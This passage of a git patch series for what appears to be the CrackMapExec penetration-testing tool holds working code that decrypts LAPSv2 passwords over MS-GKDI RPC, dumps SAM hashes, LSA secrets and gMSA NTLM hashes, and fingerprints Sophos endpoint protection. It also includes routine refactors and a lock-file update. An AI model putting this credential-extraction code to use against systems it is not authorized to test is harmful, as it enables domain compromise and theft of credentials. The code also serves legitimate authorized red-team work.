ldap_impacket.LDAPConnection(f"ldap://{domain}", baseDN, domain) + ldapConnection.login(username, password, domain, lmhash, nthash) + + # Connect to LDAP + out = "{domain}\\{username}:{password if password else ntlm_hash}" + self.logger.extra["protocol"] = "LDAP" + self.logger.extra["port"] = "389" + # self.logger.success(out) + + return ldapConnection + + except ldap_impacket.LDAPSessionError as e: + if str(e).find("strongerAuthRequired") >= 0: + # We need to try SSL + try: + ldapConnection = ldap_impacket.LDAPConnection(f"ldaps://{domain}", baseDN, domain) + ldapConnection.login(username, password, domain, lmhash, nthash) + self.logger.extra["protocol"] = "LDAPS" + self.logger.extra["port"] = "636" + # self.logger.success(out) + return ldapConnection + except ldap_impacket.LDAPSessionError as e: + errorCode = str(e).split()[-2][:-1] + self.logger.fail( + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", + color="magenta" if errorCode in ldap_error_status else "red", + ) + else: + errorCode = str(e).split()[-2][:-1] + self.logger.fail( + f"{domain}\\{username}:{password if password else ntlm_hash} {ldap_error_status[errorCode] if errorCode in ldap_error_status else ''}", + color="magenta" if errorCode in ldap_error_status else "red", + ) + return False + + except OSError as e: + self.logger.debug(f"{domain}\\{username}:{password if password else ntlm_hash} {'Error connecting to the domain, please add option --kdcHost with the FQDN of the domain controller'}") + return False + +class LAPSv2Extract: + def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, port): + + if ntlm_hash.find(":") != -1: + self.lmhash, self.nthash = ntlm_hash.split(":") + else: + self.nthash = ntlm_hash + self.lmhash = '' + + self.data = data + self.username = username + self.password = password + self.domain = domain + self.do_kerberos = do_kerberos + self.logger = None + self.proto_logger(self.domain, port, self.domain) + + def proto_logger(self, host, port, hostname): + self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}) + + def rpc_connect(self, username, password, domain, lmhash, nthash, doKerberos, dcHost): + stringBinding = hept_map(destHost=dcHost, remoteIf=MSRPC_UUID_GKDI, protocol = 'ncacn_ip_tcp') + + rpctransport = transport.DCERPCTransportFactory(stringBinding) + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) + if doKerberos: + rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) + if dcHost: + rpctransport.setRemoteHost(dcHost) + dce = rpctransport.get_dce_rpc() + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + self.logger.info("[-] Connecting to %s" % stringBinding) + try: + dce.connect() + except Exception as e: + self.logger.info("Something went wrong, check error status => %s" % str(e)) + return None + self.logger.info("[+] Connected") + self.logger.info("[+] Binding to MS-GKDI") + try: + dce.bind(MSRPC_UUID_GKDI) + except Exception as e: + import traceback + traceback.self.logger.info_stack() + self.logger.info("Something went wrong, check error status => %s" % str(e)) + return None + self.logger.info("[+] Successfully bound") + return dce + + def run(self): + self.logger.info('[-] Unpacking blob') + rawblob = EncryptedPasswordBlob(self.data) + parsed_cms_data, remaining = decoder.decode(rawblob['Blob'], asn1Spec=rfc5652.ContentInfo()) + enveloped_data_blob = parsed_cms_data['content'] + parsed_enveloped_data, _ = decoder.decode(enveloped_data_blob, asn1Spec=rfc5652.EnvelopedData()) + + recipient_infos = parsed_enveloped_data['recipientInfos'] + kek_recipient_info = recipient_infos[0]['kekri'] + kek_identifier = kek_recipient_info['kekid'] + key_id = KeyIdentifier(bytes(kek_identifier['keyIdentifier'])) + tmp,_ = decoder.decode(kek_identifier['other']['keyAttr']) + sid = tmp['field-1'][0][0][1].asOctets().decode("utf-8") + target_sd = create_sd(sid) + + # 3. Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey + dce = self.rpc_connect(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash, doKerberos=self.do_kerberos, dcHost=self.domain) + if dce is None: + return + self.logger.info("[-] Calling MS-GKDI GetKey") + resp = GkdiGetKey(dce, target_sd=target_sd, l0=key_id['L0Index'], l1=key_id['L1Index'], l2=key_id['L2Index'], root_key_id=key_id['RootKeyId']) + self.logger.info("[-] Decrypting password") + # 4. Unpack GroupKeyEnvelope + gke = GroupKeyEnvelope(b''.join(resp['pbbOut'])) + + kek = compute_kek(gke, key_id) + + enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"]) + iv, _ = decoder.decode(enc_content_parameter) + iv = bytes(iv[0]) + + cek = unwrap_cek(kek, bytes(kek_recipient_info['encryptedKey'])) + + plaintext = decrypt_plaintext(cek, iv, remaining) + self.logger.info(plaintext[:-18].decode('utf-16le')) + return plaintext[:-18].decode('utf-16le') \ No newline at end of file From 7c2304c8cb98b76454730cab28887a95c57a671b Mon Sep 17 00:00:00 2001 From: mpgn Date: Thu, 18 May 2023 03:36:20 -0400 Subject: [PATCH 63/76] remove space --- cme/protocols/smb.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index f8ef2994..abe70128 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -626,7 +626,7 @@ class smb(connection): return self.laps_search(self.args.username, self.args.password, self.args.hash, self.domain) return True - def kerberos_login( self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): + def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kdcHost="", useCache=False): logging.getLogger("impacket").disabled = True # Re-connect since we logged off if not self.no_ntlm: From d3839fc0cd56d37a6fda85141b69dfc67f90f200 Mon Sep 17 00:00:00 2001 From: mpgn Date: Fri, 19 May 2023 05:54:37 -0400 Subject: [PATCH 64/76] update laps --- cme/protocols/ldap/laps.py | 113 +++++++++++++++++++------------------ cme/protocols/smb.py | 1 + cme/protocols/winrm.py | 1 + 3 files changed, 60 insertions(+), 55 deletions(-) diff --git a/cme/protocols/ldap/laps.py b/cme/protocols/ldap/laps.py index 2ff2e509..e56ffc25 100644 --- a/cme/protocols/ldap/laps.py +++ b/cme/protocols/ldap/laps.py @@ -177,8 +177,7 @@ class LDAPConnect: return False class LAPSv2Extract: - def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, port): - + def __init__(self, data, username, password, domain, ntlm_hash, do_kerberos, kdcHost, port): if ntlm_hash.find(":") != -1: self.lmhash, self.nthash = ntlm_hash.split(":") else: @@ -190,76 +189,80 @@ class LAPSv2Extract: self.password = password self.domain = domain self.do_kerberos = do_kerberos + self.kdcHost = kdcHost self.logger = None self.proto_logger(self.domain, port, self.domain) def proto_logger(self, host, port, hostname): self.logger = CMEAdapter(extra={"protocol": "LDAP", "host": host, "port": port, "hostname": hostname}) - def rpc_connect(self, username, password, domain, lmhash, nthash, doKerberos, dcHost): - stringBinding = hept_map(destHost=dcHost, remoteIf=MSRPC_UUID_GKDI, protocol = 'ncacn_ip_tcp') - - rpctransport = transport.DCERPCTransportFactory(stringBinding) - if hasattr(rpctransport, 'set_credentials'): - rpctransport.set_credentials(username=username, password=password, domain=domain, lmhash=lmhash, nthash=nthash) - if doKerberos: - rpctransport.set_kerberos(doKerberos, kdcHost=dcHost) - if dcHost: - rpctransport.setRemoteHost(dcHost) - dce = rpctransport.get_dce_rpc() - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) - dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) - self.logger.info("[-] Connecting to %s" % stringBinding) - try: - dce.connect() - except Exception as e: - self.logger.info("Something went wrong, check error status => %s" % str(e)) - return None - self.logger.info("[+] Connected") - self.logger.info("[+] Binding to MS-GKDI") - try: - dce.bind(MSRPC_UUID_GKDI) - except Exception as e: - import traceback - traceback.self.logger.info_stack() - self.logger.info("Something went wrong, check error status => %s" % str(e)) - return None - self.logger.info("[+] Successfully bound") - return dce - def run(self): + KDSCache = {} self.logger.info('[-] Unpacking blob') - rawblob = EncryptedPasswordBlob(self.data) - parsed_cms_data, remaining = decoder.decode(rawblob['Blob'], asn1Spec=rfc5652.ContentInfo()) - enveloped_data_blob = parsed_cms_data['content'] - parsed_enveloped_data, _ = decoder.decode(enveloped_data_blob, asn1Spec=rfc5652.EnvelopedData()) + try: + encryptedLAPSBlob = EncryptedPasswordBlob(self.data) + parsed_cms_data, remaining = decoder.decode(encryptedLAPSBlob['Blob'], asn1Spec=rfc5652.ContentInfo()) + enveloped_data_blob = parsed_cms_data['content'] + parsed_enveloped_data, _ = decoder.decode(enveloped_data_blob, asn1Spec=rfc5652.EnvelopedData()) - recipient_infos = parsed_enveloped_data['recipientInfos'] - kek_recipient_info = recipient_infos[0]['kekri'] - kek_identifier = kek_recipient_info['kekid'] - key_id = KeyIdentifier(bytes(kek_identifier['keyIdentifier'])) - tmp,_ = decoder.decode(kek_identifier['other']['keyAttr']) - sid = tmp['field-1'][0][0][1].asOctets().decode("utf-8") - target_sd = create_sd(sid) - - # 3. Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey - dce = self.rpc_connect(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash, doKerberos=self.do_kerberos, dcHost=self.domain) - if dce is None: + recipient_infos = parsed_enveloped_data['recipientInfos'] + kek_recipient_info = recipient_infos[0]['kekri'] + kek_identifier = kek_recipient_info['kekid'] + key_id = KeyIdentifier(bytes(kek_identifier['keyIdentifier'])) + tmp,_ = decoder.decode(kek_identifier['other']['keyAttr']) + sid = tmp['field-1'][0][0][1].asOctets().decode("utf-8") + target_sd = create_sd(sid) + except Exception as e: + logging.error('Cannot unpack msLAPS-EncryptedPassword blob due to error %s' % str(e)) return - self.logger.info("[-] Calling MS-GKDI GetKey") - resp = GkdiGetKey(dce, target_sd=target_sd, l0=key_id['L0Index'], l1=key_id['L1Index'], l2=key_id['L2Index'], root_key_id=key_id['RootKeyId']) - self.logger.info("[-] Decrypting password") - # 4. Unpack GroupKeyEnvelope - gke = GroupKeyEnvelope(b''.join(resp['pbbOut'])) + + # Check if item is in cache + if key_id['RootKeyId'] in KDSCache: + self.logger.info("Got KDS from cache") + gke = KDSCache[key_id['RootKeyId']] + else: + # Connect on RPC over TCP to MS-GKDI to call opnum 0 GetKey + stringBinding = hept_map(destHost=self.domain, remoteIf=MSRPC_UUID_GKDI, protocol='ncacn_ip_tcp') + rpctransport = transport.DCERPCTransportFactory(stringBinding) + if hasattr(rpctransport, 'set_credentials'): + rpctransport.set_credentials(username=self.username, password=self.password, domain=self.domain, lmhash=self.lmhash, nthash=self.nthash) + if self.do_kerberos: + self.logger.info("Connecting using kerberos") + rpctransport.set_kerberos(self.do_kerberos, kdcHost=self.kdcHost) + + dce = rpctransport.get_dce_rpc() + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) + dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + self.logger.info("Connecting to %s" % stringBinding) + try: + dce.connect() + except Exception as e: + logging.error("Something went wrong, check error status => %s" % str(e)) + return False + self.logger.info("Connected") + try: + dce.bind(MSRPC_UUID_GKDI) + except Exception as e: + logging.error("Something went wrong, check error status => %s" % str(e)) + return False + self.logger.info("Successfully bound") + + + self.logger.info("Calling MS-GKDI GetKey") + resp = GkdiGetKey(dce, target_sd=target_sd, l0=key_id['L0Index'], l1=key_id['L1Index'], l2=key_id['L2Index'], root_key_id=key_id['RootKeyId']) + self.logger.info("Decrypting password") + # Unpack GroupKeyEnvelope + gke = GroupKeyEnvelope(b''.join(resp['pbbOut'])) + KDSCache[gke['RootKeyId']] = gke kek = compute_kek(gke, key_id) - + self.logger.info("KEK:\t%s" % kek) enc_content_parameter = bytes(parsed_enveloped_data["encryptedContentInfo"]["contentEncryptionAlgorithm"]["parameters"]) iv, _ = decoder.decode(enc_content_parameter) iv = bytes(iv[0]) cek = unwrap_cek(kek, bytes(kek_recipient_info['encryptedKey'])) - + self.logger.info("CEK:\t%s" % cek) plaintext = decrypt_plaintext(cek, iv, remaining) self.logger.info(plaintext[:-18].decode('utf-16le')) return plaintext[:-18].decode('utf-16le') \ No newline at end of file diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index abe70128..e2fdbea9 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -585,6 +585,7 @@ class smb(connection): domain, ntlm_hash[0] if ntlm_hash else "", self.args.kerberos, + self.args.kdcHost, 339) data = d.run() r = loads(data) diff --git a/cme/protocols/winrm.py b/cme/protocols/winrm.py index 0ff3dada..db581cdf 100644 --- a/cme/protocols/winrm.py +++ b/cme/protocols/winrm.py @@ -232,6 +232,7 @@ class winrm(connection): domain, ntlm_hash[0] if ntlm_hash else "", self.args.kerberos, + self.args.kdcHost, 339) data = d.run() r = loads(data) From 9fbad041c0ca67c3f3f550991417de3b10377640 Mon Sep 17 00:00:00 2001 From: dt Date: Wed, 24 May 2023 11:23:49 +0200 Subject: [PATCH 65/76] Add Sophos to enum_av module (pipes for now) --- cme/modules/enum_av.py | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/cme/modules/enum_av.py b/cme/modules/enum_av.py index 94f861ac..262dd585 100644 --- a/cme/modules/enum_av.py +++ b/cme/modules/enum_av.py @@ -349,5 +349,15 @@ conf = { ], "pipes": [], }, + { + "name": "Sophos", + "services": [], + "pipes": [ + {"name": "SophosUI", "processes": [""]}, + {"name": "SophosEventStore", "processes": [""]}, + {"name": "sophos_deviceencryption", "processes": [""]}, + {"name": "sophoslivequery_*", "processes": [""]}, + ], + }, ] } From 3839b88e5f828290bd192663c4c8936b43df05e0 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 24 May 2023 11:41:45 +0200 Subject: [PATCH 66/76] Fix #42 and fix small double export output --- cme/cmedb.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/cme/cmedb.py b/cme/cmedb.py index f2c2a6f4..f4ee01ef 100644 --- a/cme/cmedb.py +++ b/cme/cmedb.py @@ -235,10 +235,14 @@ class DatabaseNavigator(cmd.Cmd): formatted_shares = [] for share in shares: user = self.db.get_users(share[2])[0] + if self.db.get_hosts(share[1]): + share_host = self.db.get_hosts(share[1])[0][2] + else: + share_host = "ERROR" entry = ( share[0], # shareID - self.db.get_hosts(share[1])[0][2], # hosts + share_host, # hosts f"{user[1]}\{user[2]}", # userID share[3], # name share[4], # remark @@ -247,10 +251,10 @@ class DatabaseNavigator(cmd.Cmd): ) formatted_shares.append(entry) write_csv(filename, csv_header, formatted_shares) + print("[+] Shares exported") else: print(f"[-] No such export option: {line[1]}") return - print("[+] Shares exported") # Local Admin elif command == "local_admins": if len(line) < 3: From 2b007032fd769e8f90c7f3e56ebadcf2d2cd5cba Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 24 May 2023 11:57:25 +0200 Subject: [PATCH 67/76] Add Sophos av services, taken from https://github.com/tothi/serviceDetector/pull/6 --- cme/modules/enum_av.py | 41 +++++++++++++++++++++++++++++++++++++++-- 1 file changed, 39 insertions(+), 2 deletions(-) diff --git a/cme/modules/enum_av.py b/cme/modules/enum_av.py index 262dd585..edeacfa2 100644 --- a/cme/modules/enum_av.py +++ b/cme/modules/enum_av.py @@ -350,8 +350,45 @@ conf = { "pipes": [], }, { - "name": "Sophos", - "services": [], + "name": "Sophos Intercept X", + "services": [ + { + "name": "SntpService", + "description": "Sophos Network Threat Protection" + }, + { + "name": "Sophos Endpoint Defense Service", + "description": "Sophos Endpoint Defense Service" + }, + { + "name": "Sophos File Scanner Service", + "description": "Sophos File Scanner Service" + }, + { + "name": "Sophos Health Service", + "description": "Sophos Health Service" + }, + { + "name": "Sophos Live Query", + "description": "Sophos Live Query" + }, + { + "name": "Sophos Managed Threat Response", + "description": "Sophos Managed Threat Response" + }, + { + "name": "Sophos MCS Agent", + "description": "Sophos MCS Agent" + }, + { + "name": "Sophos MCS Client", + "description": "Sophos MCS Client" + }, + { + "name": "Sophos System Protection Service", + "description": "Sophos System Protection Service" + } + ], "pipes": [ {"name": "SophosUI", "processes": [""]}, {"name": "SophosEventStore", "processes": [""]}, From 7d1c2a0aa42659beee92dcbbc3a79e8fa046a943 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 24 May 2023 12:23:22 +0200 Subject: [PATCH 68/76] Add Error handling when an endpoint protection doesn't allow to dump lsa or sam although using the DA --- cme/protocols/smb.py | 144 +++++++++++++++++++++++-------------------- 1 file changed, 78 insertions(+), 66 deletions(-) diff --git a/cme/protocols/smb.py b/cme/protocols/smb.py index e2fdbea9..275c6591 100755 --- a/cme/protocols/smb.py +++ b/cme/protocols/smb.py @@ -1653,42 +1653,48 @@ class smb(connection): @requires_admin def sam(self): - self.enable_remoteops() - host_id = self.db.get_hosts(filter_term=self.host)[0][0] + try: + self.enable_remoteops() + host_id = self.db.get_hosts(filter_term=self.host)[0][0] - def add_sam_hash(sam_hash, host_id): - add_sam_hash.sam_hashes += 1 - self.logger.highlight(sam_hash) - username, _, lmhash, nthash, _, _, _ = sam_hash.split(":") - self.db.add_credential( - "hash", - self.hostname, - username, - ":".join((lmhash, nthash)), - pillaged_from=host_id, - ) + def add_sam_hash(sam_hash, host_id): + add_sam_hash.sam_hashes += 1 + self.logger.highlight(sam_hash) + username, _, lmhash, nthash, _, _, _ = sam_hash.split(":") + self.db.add_credential( + "hash", + self.hostname, + username, + ":".join((lmhash, nthash)), + pillaged_from=host_id, + ) - add_sam_hash.sam_hashes = 0 + add_sam_hash.sam_hashes = 0 - if self.remote_ops and self.bootkey: - SAM_file_name = self.remote_ops.saveSAM() - SAM = SAMHashes( - SAM_file_name, - self.bootkey, - isRemote=True, - perSecretCallback=lambda secret: add_sam_hash(secret, host_id), - ) + if self.remote_ops and self.bootkey: + SAM_file_name = self.remote_ops.saveSAM() + SAM = SAMHashes( + SAM_file_name, + self.bootkey, + isRemote=True, + perSecretCallback=lambda secret: add_sam_hash(secret, host_id), + ) - self.logger.display("Dumping SAM hashes") - SAM.dump() - SAM.export(self.output_filename) - self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") + self.logger.display("Dumping SAM hashes") + SAM.dump() + SAM.export(self.output_filename) + self.logger.success(f"Added {highlight(add_sam_hash.sam_hashes)} SAM hashes to the database") - try: - self.remote_ops.finish() - except Exception as e: - self.logger.debug(f"Error calling remote_ops.finish(): {e}") - SAM.finish() + try: + self.remote_ops.finish() + except Exception as e: + self.logger.debug(f"Error calling remote_ops.finish(): {e}") + SAM.finish() + except SessionError as e: + if "STATUS_ACCESS_DENIED" in e.getErrorString(): + self.logger.fail("Error \"STATUS_ACCESS_DENIED\" while dumping SAM. This is likely due to an endpoint protection.") + except Exception as e: + self.logger.exception(str(e)) @requires_admin def dpapi(self): @@ -1893,44 +1899,50 @@ class smb(connection): @requires_admin def lsa(self): - self.enable_remoteops() + try: + self.enable_remoteops() - def add_lsa_secret(secret): - add_lsa_secret.secrets += 1 - self.logger.highlight(secret) - if "_SC_GMSA_{84A78B8C" in secret: - gmsa_id = secret.split("_")[4].split(":")[0] - data = bytes.fromhex(secret.split("_")[4].split(":")[1]) - blob = MSDS_MANAGEDPASSWORD_BLOB() - blob.fromString(data) - currentPassword = blob["CurrentPassword"][:-2] - ntlm_hash = MD4.new() - ntlm_hash.update(currentPassword) - passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") - self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") + def add_lsa_secret(secret): + add_lsa_secret.secrets += 1 + self.logger.highlight(secret) + if "_SC_GMSA_{84A78B8C" in secret: + gmsa_id = secret.split("_")[4].split(":")[0] + data = bytes.fromhex(secret.split("_")[4].split(":")[1]) + blob = MSDS_MANAGEDPASSWORD_BLOB() + blob.fromString(data) + currentPassword = blob["CurrentPassword"][:-2] + ntlm_hash = MD4.new() + ntlm_hash.update(currentPassword) + passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") + self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") - add_lsa_secret.secrets = 0 + add_lsa_secret.secrets = 0 - if self.remote_ops and self.bootkey: - SECURITYFileName = self.remote_ops.saveSECURITY() - LSA = LSASecrets( - SECURITYFileName, - self.bootkey, - self.remote_ops, - isRemote=True, - perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), - ) - self.logger.success("Dumping LSA secrets") - LSA.dumpCachedHashes() - LSA.exportCached(self.output_filename) - LSA.dumpSecrets() - LSA.exportSecrets(self.output_filename) - self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") - try: - self.remote_ops.finish() - except Exception as e: - self.logger.debug(f"Error calling remote_ops.finish(): {e}") - LSA.finish() + if self.remote_ops and self.bootkey: + SECURITYFileName = self.remote_ops.saveSECURITY() + LSA = LSASecrets( + SECURITYFileName, + self.bootkey, + self.remote_ops, + isRemote=True, + perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), + ) + self.logger.success("Dumping LSA secrets") + LSA.dumpCachedHashes() + LSA.exportCached(self.output_filename) + LSA.dumpSecrets() + LSA.exportSecrets(self.output_filename) + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {self.output_filename + '.secrets'} and {self.output_filename + '.cached'}") + try: + self.remote_ops.finish() + except Exception as e: + self.logger.debug(f"Error calling remote_ops.finish(): {e}") + LSA.finish() + except SessionError as e: + if "STATUS_ACCESS_DENIED" in e.getErrorString(): + self.logger.fail("Error \"STATUS_ACCESS_DENIED\" while dumping LSA. This is likely due to an endpoint protection.") + except Exception as e: + self.logger.exception(str(e)) def ntds(self): self.enable_remoteops() From 4886a29a9518f7646a00f773b5c57df62ecb7eef Mon Sep 17 00:00:00 2001 From: mpgn Date: Wed, 24 May 2023 08:10:57 -0400 Subject: [PATCH 69/76] update poetry lock --- poetry.lock | 786 +++++++++++++++++++++++++--------------------------- 1 file changed, 383 insertions(+), 403 deletions(-) diff --git a/poetry.lock b/poetry.lock index d3c6eeaf..99ca51c8 100644 --- a/poetry.lock +++ b/poetry.lock @@ -129,38 +129,37 @@ files = [ [[package]] name = "arc4" -version = "0.3.0" +version = "0.4.0" description = "A small and insanely fast ARCFOUR (RC4) cipher implementation of Python" category = "main" optional = false python-versions = "*" files = [ - {file = "arc4-0.3.0-cp27-cp27m-macosx_10_14_x86_64.whl", hash = "sha256:f0217e81e7796ad7ab2cee5396f3e57f9988f9c1560b1e7476e65995b84f754e"}, - {file = "arc4-0.3.0-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:f51499e1748e8b4a817c87d4b67b1be7723dad089b2bd274069401b8367603fa"}, - {file = "arc4-0.3.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1844cfe6c3573a9b9b563311e1c41ddb1291d45456525b86b537a70d2e256b4d"}, - {file = "arc4-0.3.0-cp310-cp310-win_amd64.whl", hash = "sha256:ccb2e898e94aed5c2618e8abc4414531dd2af22458d531b38038bdc31adc25b6"}, - {file = "arc4-0.3.0-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:1a62d6aeacb3bf34305e666115516bfa5560f898318ffcd3ead5be487253f86c"}, - {file = "arc4-0.3.0-cp35-cp35m-win_amd64.whl", hash = "sha256:ce4dcca641435356031924c286bf947ec3ea904dfedc628ecfdad0e30eec5a92"}, - {file = "arc4-0.3.0-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:93dc5bc5fa183c2d8857887a48a6a5602e01a31eebb3010b311a28faf8e106e3"}, - {file = "arc4-0.3.0-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:eed7c82897de0eed3c40f0a3518ff8a355d186fbaef30d77557259d472d18422"}, - {file = "arc4-0.3.0-cp36-cp36m-win_amd64.whl", hash = "sha256:cff508c097f6136772bcfbd814f6c570915b8e2e69f4645331940150a4050f44"}, - {file = "arc4-0.3.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:469065fc9e205d58d2f5c4a22ca72965d7cd9ee38f2c7e8a5e9e8fb33a2576c1"}, - {file = "arc4-0.3.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1dea8eb2fc67d79a05b54fd53b4966ab7b111fba7d3ca9fa529949893208745c"}, - {file = "arc4-0.3.0-cp37-cp37m-win_amd64.whl", hash = "sha256:9c0aeba9f0ddfa466c25364e81906c44afe420701839cc42f45200c3d198965e"}, - {file = "arc4-0.3.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:433bcd51597f0a2caf4d743c3719bcdd415a9e74f5c359561052c6b6b4683014"}, - {file = "arc4-0.3.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc9a1f3be5f22e11cad2f93cef88ee9f17686dfef0617230e266480553874bb0"}, - {file = "arc4-0.3.0-cp38-cp38-win_amd64.whl", hash = "sha256:095adcb9082de64c8f964dcbd0093f843aa27a30751349a202347109431fcd7e"}, - {file = "arc4-0.3.0-cp39-cp39-macosx_10_15_x86_64.whl", hash = "sha256:2b44529f4372f93f9ee1ca7158ba7314e236999bdf44fae0bc05f166dbb53f50"}, - {file = "arc4-0.3.0-cp39-cp39-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e99beb05c525a43d2d80d6abf2526f6352505f1aa3109341692f944529f380a"}, - {file = "arc4-0.3.0-cp39-cp39-win_amd64.whl", hash = "sha256:5b65b98b319dfb7984b062bd9cf1b482e63d9f5915fee7dd67886f8c2bcd9105"}, - {file = "arc4-0.3.0-pp27-pypy_73-macosx_10_7_x86_64.whl", hash = "sha256:486a851aac032d186dee25745496b389b1ee792e03fa6f149acecc058e4863ad"}, - {file = "arc4-0.3.0-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:7142c6b847fb9521787c63ae372571c224df90ac70eb00651c3cc3b655b4577a"}, - {file = "arc4-0.3.0-pp37-pypy37_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:309b0c5ad9692a271f405787bde274a18a11a474cbacc9decda437a48c6274d5"}, - {file = "arc4-0.3.0-pp37-pypy37_pp73-win_amd64.whl", hash = "sha256:17d4609e782e4bd6badd475091f5f12680cbaad62d0381b2d015de7bb3a5e321"}, - {file = "arc4-0.3.0-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:1958a1635bc5ad0aa0e84762dc76e0cf1b75e9784eb9517731b11f3e143b0c0d"}, - {file = "arc4-0.3.0-pp38-pypy38_pp73-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:86d74a47687d848475cc1fabf2af926ef282e857147b910193f4060e5da2e651"}, - {file = "arc4-0.3.0-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:2196ccf8823a7dcd4d89d30249d9c5de740846d85d0fcb4566124f3ad9b6f7f1"}, - {file = "arc4-0.3.0.tar.gz", hash = "sha256:aeccd1c42e9d7f2fc336bafa90503ab2cd8a1beeda5d71c1134a2c1163ba9dce"}, + {file = "arc4-0.4.0-cp310-cp310-macosx_11_0_x86_64.whl", hash = "sha256:d27d6cb7fef8787c3cb91c06a6adb2315551f42af3b4142d45703d5303e6ad2b"}, + {file = "arc4-0.4.0-cp310-cp310-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f20540dd6ab695e6d1205a5edb4df416688ef39242cbbec4ad0b534e38ffe55f"}, + {file = "arc4-0.4.0-cp310-cp310-win_amd64.whl", hash = "sha256:cd9c4fc470019e184f72aacc5fdcb2a3364e7c174aaa6de2486ca18e9d377a5d"}, + {file = "arc4-0.4.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3cdae371789b621927866a1b10862ea20dbe519b1b86cb725ff2dd95525c704f"}, + {file = "arc4-0.4.0-cp311-cp311-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c0b9adcf7ab7ef7ca0ab60cf7e2dd8886fbc6610471ea9a8c7fb34416265451c"}, + {file = "arc4-0.4.0-cp311-cp311-win_amd64.whl", hash = "sha256:9b9d14ed487f373c0d47b97262a3f26d6f03e725d640c4c230a51f5f3dd8a6b4"}, + {file = "arc4-0.4.0-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:45aba6a58fd8d83ec8fa14d8e99f686f9317667c19adca56c5eaa59aae630b3d"}, + {file = "arc4-0.4.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e2e52410c5dde5cd7a89eb32440ad94de99b6bb2d6c886a099455b71f68dee3"}, + {file = "arc4-0.4.0-cp37-cp37m-win_amd64.whl", hash = "sha256:be661d59b250e83753fd0aa7dfb0796f1475c19be929d581805e1a1c998fb959"}, + {file = "arc4-0.4.0-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:2104d551744e9b851a12c144b512244da224ab4f5f68ed28a45a599937ead1cd"}, + {file = "arc4-0.4.0-cp38-cp38-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_28_x86_64.whl", hash = 